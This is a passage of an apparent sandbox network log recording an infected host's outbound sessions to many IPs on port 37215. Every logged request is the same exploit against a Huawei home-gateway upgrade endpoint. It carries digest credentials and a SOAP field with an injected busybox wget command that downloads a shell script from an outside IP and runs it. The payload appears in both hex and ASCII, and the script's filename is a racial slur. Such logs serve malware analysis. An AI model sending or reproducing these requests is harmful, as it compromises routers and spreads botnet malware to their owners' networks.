huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:38:01.344405890 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:38:03.200378895 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:38:07.136310101 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:38:14.560206890 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
191	192.168.2.15	52176	156.235.107.177	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:37:59.804739952 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:38:01.472579002 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:38:03.424335957 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:38:07.392249107 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:38:15.328155041 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
192	192.168.2.15	46906	156.235.96.175	37215

Timestamp	Bytes transferred	Direction	Data
